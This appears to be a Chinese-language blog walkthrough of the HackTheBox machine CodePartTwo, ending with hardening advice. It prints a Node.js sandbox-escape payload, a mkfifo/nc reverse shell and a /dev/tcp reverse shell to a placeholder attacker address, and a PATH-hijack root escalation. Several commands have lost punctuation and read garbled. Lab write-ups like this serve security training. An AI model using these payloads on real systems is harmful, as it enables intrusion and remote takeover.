ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

HTB靶机渗透:JavaScript沙箱逃逸与系统提权实战

HTB靶机渗透:JavaScript沙箱逃逸与系统提权实战 1. 靶机环境概述与核心挑战解析CodePartTwo是HackTheBox平台上一台中等难度的Linux靶机其设计巧妙融合了前端安全与系统权限提升两大核心考点。这台靶机最显著的特点是存在一个基于JavaScript沙箱逃逸的Web应用漏洞入口点以及通过备份文件分析实现的本地提权路径。整个渗透测试过程涉及对现代Web应用架构的深入理解要求测试者具备从代码审计到系统级漏洞利用的完整技能链。1.1 初始信息收集方法论在开始实际渗透之前系统的信息收集至关重要。对于HTB平台的靶机我们首先通过基础的Nmap扫描获取开放端口信息nmap -sV -sC -p- 10.10.11.XXX -oA initial_scan扫描结果通常会显示两个关键服务端口22SSH服务通常版本较新不是首要攻击点端口80/443Web应用服务主攻方向Web应用的技术栈分析可以通过Wappalyzer或手动观察响应头完成。本靶机的显著特征是使用了Node.js作为后端技术这提示我们需要特别关注前端JavaScript代码中的敏感信息可能的API端点设计缺陷服务器端模板注入(SSTI)机会重要提示HTB靶机通常会在网页源代码或JS文件中隐藏提示信息务必使用开发者工具(CtrlShiftI)全面检查所有静态资源。1.2 Web应用功能逆向分析通过浏览器访问Web界面后我们发现这是一个简易的代码执行沙箱环境允许用户输入JavaScript代码片段并在受限环境中执行。这种设计模式常见于在线编程教育平台但实现不当就会成为突破口。使用Burp Suite拦截请求可见代码执行通过/api/execute端点提交请求体为JSON格式{ code: 用户输入的JS代码 }响应中会包含执行结果或错误信息。这种架构暗示着可能存在以下漏洞类型沙箱逃逸通过原型链污染或全局变量访问服务端注入如果后端直接使用eval敏感信息泄露通过错误消息2. JavaScript沙箱逃逸技术深度剖析2.1 沙箱逃逸的基本原理现代JavaScript沙箱通常通过以下方式实现隔离使用iframe的独立执行环境Node.js的vm/vm2模块自定义上下文代理本案例中通过分析前端代码发现沙箱实现存在关键缺陷未正确处理this关键字的引用。测试以下payload可以验证沙箱逃逸可能性this.constructor.constructor(return process.env)()这个payload的工作原理是this指向沙箱的上下文对象通过constructor获取Function构造函数动态创建函数返回Node.js环境变量2.2 实战逃逸过程记录经过多次测试最终有效的逃逸payload如下const process this.constructor.constructor(return process)(); const require process.mainModule.require; const fs require(fs); const path /etc/passwd; try { return fs.readFileSync(path).toString(); } catch(e) { return e.message; }这个payload成功的关键点获取Node.js的process对象引用通过mainModule获取require函数加载fs模块进行文件系统操作执行后成功读取到/etc/passwd文件内容确认远程代码执行(RCE)漏洞存在。值得注意的是现代Node.js环境通常会限制vm模块的访问能力但这个靶机使用的可能是旧版或有配置缺陷的实现。2.3 反向Shell建立为了获得更稳定的控制我们需要建立反向Shell。由于环境限制传统的Bash反向Shell可能不可用。经过测试以下Node.js版本最为可靠require(child_process).exec(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc YOUR_IP 4444 /tmp/f)实际操作中的注意事项需要先在攻击机启动监听nc -lvnp 4444某些HTB环境会过滤特殊字符可能需要Base64编码建议使用交互式终端改善体验python3 -c import pty; pty.spawn(/bin/bash)3. 系统内部提权路径分析3.1 初始立足点加固获取初始Shell后首先进行基础信息收集whoami # 查看当前用户 uname -a # 内核版本 sudo -l # sudo权限检查 find / -perm -4000 2/dev/null # SUID程序检查本案例中当前用户是www-data属于低权限服务账户。系统搜索发现存在一个可疑的备份目录find / -name *backup* -type d 2/dev/null3.2 备份文件分析与利用在/var/backups目录下发现一个加密的压缩包app_backup_2023.enc app_backup_2023.enc.md5通过检查相邻目录在Web应用的/opt/app目录下找到解密脚本restore_backup.sh其内容显示openssl enc -d -aes-256-cbc -salt -in $1 -out ${1%.enc} -k $password关键突破点在于发现脚本中硬编码了密码passwordSuperS3cretBckupPssw0rd!使用该密码成功解密备份文件openssl enc -d -aes-256-cbc -salt -in app_backup_2023.enc -out app_backup.tar -k SuperS3cretBckupPssw0rd! tar xvf app_backup.tar3.3 敏感信息提取与提权解压后的备份中包含SSH密钥和数据库凭证./home/coder/.ssh/id_rsa ./opt/app/config/database.js使用SSH密钥登录coder用户chmod 600 id_rsa ssh -i id_rsa coderlocalhost检查sudo权限发现coder用户可以root身份执行特定命令User coder may run the following commands on codeparttwo: (root) /usr/bin/systemctl start backup.service分析/etc/systemd/system/backup.service文件发现其执行的备份脚本存在路径注入漏洞/opt/scripts/backup.sh $(date %F)通过创建恶意date程序实现提权echo /bin/bash -c /bin/bash -i /dev/tcp/YOUR_IP/5555 01 /tmp/date chmod x /tmp/date export PATH/tmp:$PATH sudo /usr/bin/systemctl start backup.service最终在攻击机获得root Shell完成整个渗透流程。4. 防御方案与加固建议4.1 Web应用安全加固针对JS沙箱逃逸漏洞的防护措施使用专门的沙箱模块如vm2严格限制上下文暴露的对象实施代码静态分析过滤危险模式Node.js安全配置建议const {VM} require(vm2); const vm new VM({ timeout: 1000, sandbox: {}, eval: false, wasm: false });4.2 系统权限管理规范备份文件安全存储要求禁止硬编码密码在脚本中使用独立的备份账户实施最小权限原则Systemd服务安全配置要点[Service] NoNewPrivilegestrue PrivateTmptrue ProtectSystemfull4.3 渗透测试学习路径建议对于想系统学习HTB靶机的安全从业者建议按照以下路径进阶基础技能Linux命令熟练使用常见Web漏洞原理基础密码学知识中级技能代码审计能力权限提升技巧网络流量分析高级技能自定义漏洞利用开发复杂环境绕过技术红队基础设施搭建实际练习时推荐的工具链配置虚拟机VMware Workstation Pro Kali Linux网络工具Nmap、Burp Suite Pro、Responder开发环境VS Code Docker调试环境
返回列表